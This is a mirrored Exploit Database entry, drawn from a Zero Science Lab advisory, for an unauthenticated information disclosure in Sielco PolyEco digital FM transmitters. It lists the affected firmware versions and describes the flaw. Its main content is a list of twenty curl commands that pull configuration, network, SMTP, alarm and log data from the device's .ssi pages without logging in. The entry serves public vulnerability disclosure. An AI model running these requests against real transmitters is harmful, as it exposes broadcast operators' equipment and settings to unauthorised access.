Sielco PolyEco Digital FM Transmitter 2.0.6 – Unauthenticated Information Disclosure

• Exploit Database
• 84 阅读

• 作者： LiquidWorm
  日期： 2023-04-14
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51370/

• ## Exploit Title: Sielco PolyEco Digital FM Transmitter 2.0.6 - Unauthenticated Information Disclosure
  ## Exploit Author: LiquidWorm
  
  Vendor: Sielco S.r.l
  Product web page: https://www.sielco.org
  Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19
  PolyEco1000 CPU:1.9.4 FPGA:10.19
  PolyEco1000 CPU:1.9.3 FPGA:10.19
  PolyEco500 CPU:1.7.0 FPGA:10.16
  PolyEco300 CPU:2.0.2 FPGA:10.19
  PolyEco300 CPU:2.0.0 FPGA:10.19
  
  Summary: PolyEco is the innovative family of high-end digital
  FM transmitters of Sielco. They are especially suited as high
  performance power system exciters or compact low-mid power
  transmitters. The same cabinet may in fact be fitted with 50,
  100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,
  1000).
  
  All features can be controlled via the large touch-screen display
  4.3" or remotely. Many advanced features are inside by default
  in the basic version such as: stereo and RDS encoder, audio
  change-over, remote-control via LAN and SNMP, "FFT" spectral
  analysis of the audio sources, SFN synchronization and much more.
  
  Desc: Sielco PolyEco is affected by an information disclosure
  vulnerability due to improper access control enforcement. An
  unauthenticated remote attacker can exploit this, via a specially
  crafted request to gain access to sensitive information.
  
  Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  Macedonian Information Security Research and Development Laboratory
  Zero Science Lab - https://www.zeroscience.mk - @zeroscience
  
  
  Advisory ID: ZSL-2023-5766
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5766.php
  
  
  26.01.2023
  
  --
  
  
  $ curl -s http://RADIOFM/factory.ssi
  $ curl -s http://RADIOFM/rds.ssi
  $ curl -s http://RADIOFM/ip.ssi
  $ curl -s http://RADIOFM/alarm.ssi
  $ curl -s http://RADIOFM/i2s.ssi
  $ curl -s http://RADIOFM/time.ssi
  $ curl -s http://RADIOFM/fft.ssi
  $ curl -s http://RADIOFM/info.ssi
  $ curl -s http://RADIOFM/status.ssi
  $ curl -s http://RADIOFM/statusx.ssi
  $ curl -s http://RADIOFM/audio.ssi
  $ curl -s http://RADIOFM/smtp.ssi
  $ curl -s http://RADIOFM/rf.ssi
  $ curl -s http://RADIOFM/rfa.ssi
  $ curl -s http://RADIOFM/ping.ssi
  $ curl -s http://RADIOFM/lan.ssi
  $ curl -s http://RADIOFM/kappa.ssi
  $ curl -s http://RADIOFM/dbrt.ssi
  $ curl -s http://RADIOFM/audiom.ssi
  $ curl -s http://RADIOFM/log.ssi
  

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